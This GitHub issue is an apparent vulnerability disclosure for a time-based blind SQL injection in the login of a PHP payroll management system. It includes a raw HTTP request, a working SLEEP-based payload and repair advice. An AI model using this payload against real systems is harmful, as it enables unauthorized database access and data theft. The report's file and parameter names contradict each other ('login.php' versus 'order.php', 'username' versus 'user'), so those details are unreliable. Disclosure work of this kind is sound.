Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

# Itsourcecode "Payroll Management System " in PHP 1.0 "login.php" SQL injection #6

Open
sorryheleo opened this issue Aug 22, 2024 · 1 comment

Comments

@sorryheleo
Copy link

Itsourcecode "Payroll Management System " in PHP 1.0 "login.php" SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Payroll Management System

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • tornseck

Vulnerable File

  • login.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'order.php' file of the 'Payroll Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "username" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of the PHP "Payroll Management System", "xxx" discovered a critical SQL injection vulnerability in the "order.php" file. This vulnerability stems from insufficient user input validation of the "user" parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC


POST /ajax.php?action=login HTTP/1.1
Host: 192.168.1.108:96
Content-Length: 21
Accept: /
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.108:96
Referer: http://192.168.1.108:96/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lpqq2adhvnpc9800mplg0j61ic
Connection: close

username=1&password=1


Vulnerability type:

  • time-based blind

Vulnerability location:

  • 'username' parameter

Payload:


-Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1' AND (SELECT 8289 FROM (SELECT(SLEEP(5)))PPIz) AND 'Dwrx'='Dwrx&password=1

+1

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

+2

+3

+4

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

@attritionorg
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants